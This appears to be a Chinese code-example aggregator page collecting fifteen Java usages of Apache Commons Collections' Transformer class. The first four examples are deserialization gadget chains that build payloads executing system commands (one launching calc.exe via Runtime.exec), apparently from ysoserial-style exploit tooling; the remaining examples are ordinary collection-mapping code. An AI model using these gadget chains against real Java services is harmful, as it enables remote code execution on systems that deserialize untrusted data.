本文整理汇总了Java中org.apache.commons.collections.Transformer类的典型用法代码示例。如果您正苦于以下问题:Java Transformer类的具体用法?Java Transformer怎么用?Java Transformer使用的例子?那么, 这里精选的类代码示例或许可以为您提供帮助。
Transformer类属于org.apache.commons.collections包,在下文中一共展示了Transformer类的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的Java代码示例。
示例1: Reverse_Payload
import org.apache.commons.collections.Transformer; //导入依赖的package包/类
public static Object Reverse_Payload() throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class},
new Object[]{"calc.exe"})};
Transformer transformerChain = new ChainedTransformer(transformers);
Map pocMap = new HashMap();
pocMap.put("value", "value");
Map outmap = TransformedMap.decorate(pocMap, null, transformerChain);
//通过反射获得AnnotationInvocationHandler类对象
Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
//通过反射获得cls的构造函数
Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);
//这里需要设置Accessible为true,否则序列化失败
ctor.setAccessible(true);
//通过newInstance()方法实例化对象
Object instance = ctor.newInstance(Retention.class, outmap);
return instance;
}
示例2: getObject
import org.apache.commons.collections.Transformer; //导入依赖的package包/类
public Object getObject(final String command) throws Exception {
Object templatesImpl = Gadgets.createTemplatesImpl(command);
// inert chain for setup
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });
// real chain for after setup
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[] { Templates.class },
new Object[] { templatesImpl } )};
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);
Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain
return handler;
}
示例3: getObject
import org.apache.commons.collections.Transformer; //导入依赖的package包/类
public Object getObject(CmdExecuteHelper cmdHelper) throws Exception {
Object templatesImpl = Gadgets.createTemplatesImpl(cmdHelper.getCommandArray());
// inert chain for setup
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });
// real chain for after setup
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[] { Templates.class },
new Object[] { templatesImpl } )};
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);
Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain
return handler;
}
示例4: getObject
import org.apache.commons.collections.Transformer; //导入依赖的package包/类
public Object getObject(final String command) throws Exception {
TemplatesImpl templatesImpl = Gadgets.createTemplatesImpl(command);
// inert chain for setup
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });
// real chain for after setup
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[] { Templates.class },
new Object[] { templatesImpl } )};
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);
Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain
return handler;
}
示例5: searchWithUsedAmount
import org.apache.commons.collections.Transformer; //导入依赖的package包/类
@Override
@SuppressWarnings("unchecked")
public List<CertificationDTO> searchWithUsedAmount(final CertificationQuery queryParameters) {
final List<Certification> certifications = certificationDao.seach(queryParameters);
final Transformer transformer = new Transformer() {
@Override
public Object transform(final Object input) {
final Certification certification = (Certification) input;
return new CertificationDTO(certification, getUsedAmount(certification, false));
}
};
List<CertificationDTO> result = (List<CertificationDTO>) CollectionUtils.collect(certifications, transformer, new ArrayList<CertificationDTO>());
if (certifications instanceof Page) {
final Page<Certification> original = (Page<Certification>) certifications;
final PageParameters pageParameters = new PageParameters(original.getPageSize(), original.getCurrentPage());
result = new PageImpl<CertificationDTO>(pageParameters, original.getTotalCount(), result);
}
return result;
}
示例6: transformCollection
import org.apache.commons.collections.Transformer; //导入依赖的package包/类
/**
* Transform collection.
*
* @param organizationMappings the organization mappings
* @return the list< organization>
*/
@SuppressWarnings ("unchecked")
private List<Organization> transformCollection(List<OrganizationMapping> organizationMappings)
{
return (List<Organization>) CollectionUtils.collect(organizationMappings, new Transformer()
{
@Override
public Object transform(Object input)
{
OrganizationMapping organizationMapping = (OrganizationMapping) input;
return OrganizationAOFacadeImpl.this.transform(organizationMapping);
}
});
}
示例7: fromBitbucketGroups
import org.apache.commons.collections.Transformer; //导入依赖的package包/类
@SuppressWarnings("unchecked")
public static List<Group> fromBitbucketGroups(List<BitbucketGroup> bitbucketGroups)
{
Collection<Group> transformedGroups = CollectionUtils.collect(bitbucketGroups, new Transformer() {
@Override
public Object transform(Object input)
{
BitbucketGroup bitbucketGroup = (BitbucketGroup) input;
return new Group(StringUtils.trim(bitbucketGroup.getSlug()), bitbucketGroup.getName());
}
});
return new LinkedList<Group>(transformedGroups);
}
示例8: fromBitbucketRepositories
import org.apache.commons.collections.Transformer; //导入依赖的package包/类
@SuppressWarnings("unchecked")
public static List<Repository> fromBitbucketRepositories(List<BitbucketRepository> bitbucketRepositories)
{
return (List<Repository>) CollectionUtils.collect(bitbucketRepositories, new Transformer() {
@Override
public Object transform(Object input)
{
BitbucketRepository bitbucketRepository = (BitbucketRepository) input;
Repository repository = new Repository();
repository.setName(bitbucketRepository.getName());
repository.setSlug(bitbucketRepository.getSlug());
repository.setLogo(bitbucketRepository.getLogo());
repository.setFork(bitbucketRepository.isFork());
repository.setForkOf(createForkOfRepository(bitbucketRepository.getForkOf()));
return repository;
}
});
}
示例9: fromBitbucketChangesetFiles
import org.apache.commons.collections.Transformer; //导入依赖的package包/类
@SuppressWarnings("unchecked")
public static List<ChangesetFile> fromBitbucketChangesetFiles(List<BitbucketChangesetFile> changesetFiles)
{
return (List<ChangesetFile>) CollectionUtils.collect(changesetFiles, new Transformer() {
@Override
public Object transform(Object input)
{
BitbucketChangesetFile changesetFile = (BitbucketChangesetFile) input;
ChangesetFileAction fileAction = ChangesetFileAction.valueOf(changesetFile.getType().toUpperCase());
return new ChangesetFile(fileAction, changesetFile.getFile());
}
});
}
示例10: transformParents
import org.apache.commons.collections.Transformer; //导入依赖的package包/类
@SuppressWarnings("unchecked")
private static List<String> transformParents(List<Commit> parents)
{
if (parents == null)
{
return Collections.<String>emptyList();
}
return (List<String>) CollectionUtils.collect(parents, new Transformer() {
@Override
public Object transform(Object input)
{
Commit commit = (Commit) input;
return commit.getSha();
}
});
}
示例11: doInvoke
import org.apache.commons.collections.Transformer; //导入依赖的package包/类
@Override
protected Object doInvoke(Context context) throws Exception {
Iterator it=getIterator(context);
if (lazy) {
return it;
}else{
return CollectionUtils.collect(it, new Transformer(){
@Override
public Object transform(Object obj) {
return obj;
}
});
}
}
示例12: getAuthorities
import org.apache.commons.collections.Transformer; //导入依赖的package包/类
/**
* Get granted authorities as collection of
* SimpleGrantedAuthorities(roleName) for each role:
*
* TODO should be used by permission manager
*
* @return JAVADOC.
*/
@SuppressWarnings("unchecked")
@Transient
public Collection<?extends GrantedAuthority> getAuthorities() {
Collection<Permission> permissions = getPermissions();
if (permissions == null) {
return DEFAULT_AUTHORITIES;
}
return CollectionUtils.collect(permissions,
new Transformer() {
@Override
public Object transform(Object arg0) {
Permission permission = (Permission) arg0;
BeanWrapper beanWrapper = new BeanWrapperImpl(permission.getRole());
String name = (String) beanWrapper.getPropertyValue("name");
return new SimpleGrantedAuthority(name);
}
});
}
示例13: isValid
import org.apache.commons.collections.Transformer; //导入依赖的package包/类
/**
* JAVADOC Method Level Comments
*
* @param arg0
* JAVADOC.
* @param context
* JAVADOC.
*
* @return JAVADOC.
*/
@SuppressWarnings("unchecked")
@Override
public boolean isValid(Workflow target, ConstraintValidatorContext context) {
WorkflowHistory wflHistory = populateWfl(target.getLatestWorkflowHistory());
WorkflowHistory previousHistory = populateWfl(target.getWorkflowHistories()
.get(target.getWorkflowHistories().size() -
2));
State[] oldPlaces = previousHistory.getProcessDefinition().getAllPlaces();
if (ArrayUtils.isEmpty(oldPlaces)) {
return true;
}
Transformer transformer = new IdTransformer();
Collection<String> oldNames = CollectionUtils.collect(Arrays.asList(oldPlaces), transformer);
State[] newPlaces = wflHistory.getProcessDefinition().getAllPlaces();
Collection<String> newNames = CollectionUtils.collect(Arrays.asList(newPlaces), transformer);
return CollectionUtils.isSubCollection(oldNames, newNames);
}
示例14: listTransitions
import org.apache.commons.collections.Transformer; //导入依赖的package包/类
/**
* List transitions which can be applied to this token.
*
* @param token
*
* @return JAVADOC.
*/
@SuppressWarnings({"unchecked"})
@Override
public Collection<String> listTransitions(Token token, Map<String, Object> parameters) {
ProcessSession session = processSessionFactory.openSession(token.getProcessDefinitionId());
ExecutionContext context = session.createExecutionContext(token, parameters);
Collection<Transition> transes = session.getAvailableTransitions(context);
return CollectionUtils.collect(transes,
new Transformer() {
@Override
public Object transform(Object arg0) {
if (arg0 == null) {
return null;
}
return ((Transition) arg0).getId();
}
});
}
示例15: testLoadPxtSessionWhenPxtSessionIdIsNotNull
import org.apache.commons.collections.Transformer; //导入依赖的package包/类
public final void testLoadPxtSessionWhenPxtSessionIdIsNotNull() {
setUpLoadPxtSession();
context().checking(new Expectations() { {
allowing(mockRequest).getCookies();
will(returnValue(new Cookie[] {getPxtCookie()}));
} });
pxtSessionDelegate.setFindPxtSessionByIdCallback(new Transformer() {
public Object transform(Object arg) {
if (PXT_SESSION_ID.equals(arg)) {
return getPxtSession();
}
return null;
}
});
pxtSessionDelegate.loadPxtSession(getRequest());
}